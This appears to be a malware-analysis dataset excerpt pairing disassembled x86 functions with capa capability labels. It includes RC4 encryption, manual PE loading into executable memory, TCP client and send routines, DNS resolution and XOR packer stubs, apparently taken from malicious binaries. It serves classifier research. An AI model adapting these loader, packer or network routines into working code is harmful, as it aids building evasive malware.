joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1016a99c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, 0x12ce
mov dword [0x101769a8], 0
mov byte [0x101769ac], 0
mov dword [0x1017699c], 0x12ce
mov dword [0x101769a4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
jmp 0x1016aa05
xor eax, eax
mov dword [0x101769a4], 0
mov ecx, dword [0x1017699c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jmp 0x1016aa56
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add eax, 0xfffffe69
mov dword [0x1017699c], eax
mov eax, ecx
mov dl, al
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], dl
mov dword [0x101769a0], 0x541
mov ecx, dword [0x101769a4]
add ecx, 1
mov dword [0x101769a4], ecx
cmp ecx, 0x100
mov dword [ebp - 0x2c], ecx
jge 0x1016a9eb
mov eax, dword [0x1017699c]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], eax
jmp 0x1016aa05
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [0x101769b0], 0
add eax, 0x1868
mov dword [0x1017699c], eax
mov eax, dword [0x101769a8]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + ecx]
add edi, eax
mov eax, ecx
xor ebx, ebx
mov dword [ebp - 0x30], edx
mov edx, ebx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x101769b0], edi
mov eax, edi
cdq
mov edi, dword [ebp - 0x30]
idiv edi
mov dword [0x101769a8], edx
mov dword [0x1017699c], 0x1f2c
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x101769ac], bl
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov ecx, dword [0x1017699c]
add ecx, 0xffffdc55
mov dword [0x101769a0], ecx
mov bl, byte [0x101769ac]
mov ecx, dword [0x101769a8]
mov byte [esi + ecx], bl
mov ecx, dword [0x1017699c]
add ecx, 0xffffe489
mov dword [0x1017699c], ecx
mov edx, dword [0x101769a4]
add edx, 1
mov dword [0x101769a4], edx
cmp edx, 0x100
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], ecx
jl 0x1016aa56
mov eax, dword [0x101769a0]
add eax, 0xffffe83d
mov dword [0x1017699c], eax
mov dword [0x101769a0], 0x1225
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1016acba
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101769a0]
add esi, 0xfffffdc7
mov dword [0x1017699c], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x1016d322]
mov dl, byte [eax + 0x1016d2f3]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x1016ace4
lea eax, [ebp - 0x24]
mov dword [0x101769a0], 0x323
mov dword [0x1017699c], 0x263a
mov dword [ebp - 0x34], eax
call fcn.1016ae60
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.1016af35
xor ecx, ecx
mov edx, dword [0x1017699c]
mov esi, edx
add esi, 0xffffe2e4
mov dword [0x1017699c], esi
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
je 0x1016ae25
mov eax, dword [ebp - 0x38]
mov dword [0x101769a0], 0xf52
mov ecx, dword [ebp - 0x3c]
add ecx, 0xffffe048
mov dword [0x1017699c], ecx
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1017699c]
add ecx, 0x1edb
mov dword [0x1017699c], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x44], eax
call fcn.1016a838
xor eax, eax
mov ecx, dword [ebp - 0x44]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x101769a0], 0x152e
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], ecx
mov ecx, dword [ebp - 0x44]
mov dword [edx + 0x40], ecx
mov dword [0x1017699c], 0xb3f
cmp ecx, 0
mov dword [ebp - 0x40], eax
je 0x1016ae25
mov eax, dword [ebp - 0x44]
add eax, 0x1202
mov dword [0x1017699c], 0xfffffdba
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1016b773
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1017699c], 0x4f2
mov dword [0x101769a4], 0
mov dword [0x101769a8], 0
mov dword [0x101769b4], 0
mov ebx, dword [0x101769a0]
add ebx, 0xffffd923
mov dword [0x101769a0], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x1016b92d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x101769a4], edx
mov dword [0x1017699c], 0x556
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x101769a8], edx
mov dword [0x1017699c], 0x555
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x101769ac], cl
mov dword [0x1017699c], 0x204
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x101769a0]
add edx, 0xffffef0b
mov dword [0x101769a0], edx
mov cl, byte [0x101769ac]
mov edx, dword [0x101769a8]
mov byte [edi + edx], cl
mov dword [0x1017699c], 0x10cf
mov edx, dword [0x101769a4]
movzx edx, byte [edi + edx]
mov ebx, dword [0x101769a8]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x101769b4], ebx
mov dword [0x1017699c], 0x3b3f
mov dword [0x101769a0], 0x47
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov byte [0x101769b9], ch
mov byte [0x101769ba], cl
xor ch, cl
mov byte [0x101769b8], ch
mov dword [0x1017699c], 0x1843
mov edx, dword [ebp - 0x1c]
mov byte [edx + ebx], ch
mov dword [0x101769a0], 0x2710
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x1016b92d
mov eax, dword [0x101769a4]
mov ecx, dword [0x101769a8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x1016b7e8
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1016b935
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.10001075
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
jne 0x1016bae0
lea eax, [esp + 0x90]
lea ecx, [esp + 0x30]
mov dword [0x1017699c], 0x5e
mov dword [esp], eax
mov dword [esp + 0x28], ecx
call fcn.1016b0c8
lea ecx, [0x1016ac4e]
mov edx, 0xe89
mov esi, dword [esp + 0x90]
mov dword [esp + 0x30], esi
mov dword [esp + 0x88], 0x119a00
mov esi, dword [0x10176988]
mov dword [esp + 0x60], esi
mov esi, dword [0x1017698c]
mov dword [esp + 0x7c], esi
mov esi, dword [0x10176990]
mov dword [esp + 0x64], esi
mov esi, dword [0x10176994]
mov dword [esp + 0x8c], esi
mov dword [0x101769a0], 0xe89
mov esi, dword [0x10176998]
mov dword [esp + 0x34], esi
mov dword [0x1017699c], 0xffffeb71
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], edx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
cmp word [ecx], 0x5a4d
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jne 0x1016ba23
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
cmp eax, 0x4550
je 0x1016ba4b
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov ecx, dword [esp + 0x18]
add ecx, 0xfffffabd
mov dword [0x101769a0], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x1016b9ef
mov eax, dword [esp + 0x14]
mov dword [esp + 0x3c], eax
mov dword [0x1017699c], 0x82d
mov ecx, dword [esp + 0x10]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x48], edx
mov dword [0x101769a0], 0x1c20
call fcn.1016a2ec
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
jne 0x1016bad8
lea eax, [esp + 0x30]
mov dword [0x1017699c], 0xf81
mov ecx, dword [esp + 0x98]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.1016acba
mov ecx, dword [0x1017699c]
add ecx, 0xffffee96
mov dword [0x101769a0], ecx
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101769a0], 0x279
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x100017b0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push eax
push ebx
push ecx
push edx
push edi
push esi
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.10001a68
push 4
lea eax, [ebp - 0x404]
push eax
call fcn.10001a68
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x100017fa
mov al, byte [ebx + edi]
xor byte [esi], al
inc esi
inc ebx
dec ecx
cmp ebx, dword [ebp + 0xc]
jne 0x100017fa
xor ebx, ebx
cmp ecx, 0
jg 0x100017eb
cmp dword [ebp - 0x404], 1
je 0x100018c4
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x10001816
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x10001836
inc bl
dec esi
je 0x1000182a
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x10001831
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x100018b5
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x10001871
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
mov dword [ebp - 0x404], 1
jmp 0x100017de
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x10

Function at 0x100018ce
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x100018ee
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x10001937
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.10001a2e
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x1000193d
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x1000193d
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x1000193d
cmp dword [ebp + 0x10], 0
jne 0x100018f3
cmp dword [ebp + 0x14], 0
je 0x1000194b
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x10001955
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001a68
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.10001a68
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sub.ws2_32.dll_getaddrinfo
or eax, eax
jne 0x100019d4
mov esi, dword [ebp - 0x24]
jmp 0x100019d0
cmp dword [ebp + 0xc], 2
jne 0x100019cd
cmp dword [esi + 4], 2
jne 0x100019cd
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x24]
call sub.ws2_32.dll_freeaddrinfo
jmp 0x100019d4
mov esi, dword [esi + 0x1c]
or esi, esi
jne 0x100019ab
mov eax, dword [ebp - 0x42c]
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x10001a7f
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe70
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 4]
push eax
call fcn.10001a68
push 0x3e8
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x18e]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x10001a9b
push 0x1000306c
push 0x10003010
call fcn.1000138b
test eax, eax
jne 0x10001adc
push 0x1000306c
push 0x1000303e
call fcn.1000138b
push 0x2bf20
call sub.kernel32.dll_Sleep
jmp 0x10001aba
Function at 0x10001b34
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001a68
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
push 4
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.100019e1
mov dword [ebp - 0x2c], 1
push 4
lea eax, [ebp - 0x2c]
push eax
push 1
push 6
push dword [ebp - 4]
call sub.wsock32.dll_setsockopt
lea eax, section..data
lea ecx, [0x10003075]
sub ecx, eax
push ecx
push 0x10003075
push section..data
call fcn.10001c8a
push dword [ebp + 0xc]
call fcn.10001af4
or eax, eax
je 0x10001bb1
mov eax, dword [ebp + 0xc]
jmp 0x10001bc1
push 2
push dword [ebp + 0xc]
call fcn.10001955
push eax
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
test eax, eax
je 0x10001c62
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0x10000
jbe 0x10001be2
push eax
call fcn.100019f9
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov word [ebp - 0x28], 2
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x2c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.wsock32.dll_connect
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
call fcn.10001a2e
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x10001c62
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
mov dword [ebp - 0x30], 1
lea eax, section..data
lea ecx, [0x10003075]
sub ecx, eax
push ecx
push 0x10003075
push section..data
call fcn.10001c8a
mov eax, dword [ebp - 0x30]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x40c7e0
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x40c7ed
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x40c7e8
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x40c7d2
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x40c7da
cmp edx, ebx
jne 0x40c928
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add al, byte [ebx]
enter 0x4d39, 8
add al, byte [ebx]
enter 0x4d39, 8
jb 0x40c7a9
add eax, dword [eax + 4]
jmp 0x40c796
mov dword [ebp + 0xc], ebx
jmp 0x40c7f8

Function at 0x40d0b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [edi + 0x30fffffc], ebx
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
invalid
invalid
stosb byte es:[edi], al
cld
Function at 0x410820
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x114], 0
mov dword [0x449250], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov eax, ebp
mov edx, 0
call fcn.00410a00
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x449250]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402490
call sub.kernel32.dll_GetCommandLineA
mov dword [0x439260], eax
mov esi, dword [0x439260]
jmp 0x4109c0
add esi, 1
movzx eax, byte [esi]
sub eax, 1
cmp eax, 0x20
jb 0x4108b0
cmp byte [esi], 0
je 0x4109c9
mov byte [ebp - 0x10c], 0
mov edi, esi
mov dword [ebp - 0x110], 0
jmp 0x410925
mov al, byte [esi]
cmp al, 1
jb 0x41091b
sub al, 0x20
jbe 0x4108ec
sub al, 2
je 0x4108ff
jmp 0x41091b
mov al, byte [ebp - 0x10c]
test al, al
je 0x41092a
add dword [ebp - 0x110], 1
jmp 0x410922
cmp byte [esi + 1], 0x22
je 0x410916
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x410922
add esi, 1
jmp 0x410922
add dword [ebp - 0x110], 1
add esi, 1
cmp byte [esi], 0
jne 0x4108dc
test dword [ebp - 0x114], 0xffffffff
je 0x4109b9
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
mov eax, ebp
call fcn.00410a00
mov byte [ebp - 0x10c], 0
mov esi, edi
mov eax, dword [0x449250]
mov edx, dword [ebp - 0x114]
mov ebx, dword [eax + edx*4]
jmp 0x4109b1
mov al, byte [esi]
cmp al, 1
jb 0x4109a7
sub al, 0x20
jbe 0x410978
sub al, 2
je 0x41098b
jmp 0x4109a7
mov al, byte [ebp - 0x10c]
test al, al
je 0x4109b6
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
jmp 0x4109ae
cmp byte [esi + 1], 0x22
je 0x4109a2
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x4109ae
add esi, 1
jmp 0x4109ae
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
add esi, 1
cmp byte [esi], 0
jne 0x410968
mov byte [ebx], 0
add dword [ebp - 0x114], 1
cmp byte [esi], 0
jne 0x4108b3
mov ebx, dword [ebp - 0x114]
mov dword [0x449240], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x449250
call fcn.0040e3d0
mov eax, dword [0x449250]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x5808483e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e3d0
nop
nop
mov ecx, 0x62d874e4
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4076c4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x42600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov dword [ebp - 0x210], ecx
lea eax, [ebp - 0x20c]
mov esi, edx
push edi
push eax
call fcn.004095f0
add esp, 0xc
lea ecx, [ebp - 0x20c]
call fcn.004072b0
lea eax, [ebp - 0x20c]
push eax
push edi
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov ebx, eax
test ebx, ebx
jne 0x407756
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_open_file_mapping_object.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi + 0x410], eax
xor eax, eax
jmp 0x407820
push 0x1e78
push edi
push edi
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4077aa
push ecx
push str.ReadSharedMemory__:
push ecx
mov edi, 0x82
mov ecx, esi
mov edx, edi
call fcn.00403b0e
lea ecx, [esi + 0x208]
mov edx, edi
push ecx
push str.Could_not_map_view_of_file.
push ecx
call fcn.00403b0e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov dword [esi + 0x410], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40774f
mov eax, dword [ebp - 0x210]
test eax, eax
jne 0x4077c6
call fcn.0040d306
mov dword [eax], 0x16
call fcn.0040d23a
jmp 0x4077d5
push 0x1034
push edi
push eax
call fcn.00408e00
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
push str.ReadSharedMemory__:
push ecx
mov edx, 0x82
mov ecx, esi
call fcn.00403b0e
lea eax, [ebp - 0x20c]
push eax
push str.succeeded._mapping_obj_name:__s
lea eax, [esi + 0x208]
push 0x104
push eax
call fcn.00406b11
and dword [esi + 0x410], 0
xor eax, eax
add esp, 0x10
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407989
leave
ret

Function at 0xf02000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xf0200a
jmp 0xf0400f
jmp fcn.00a941b8
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x4fec3ab7
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x3f7032a1
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
popal
jmp 0x401219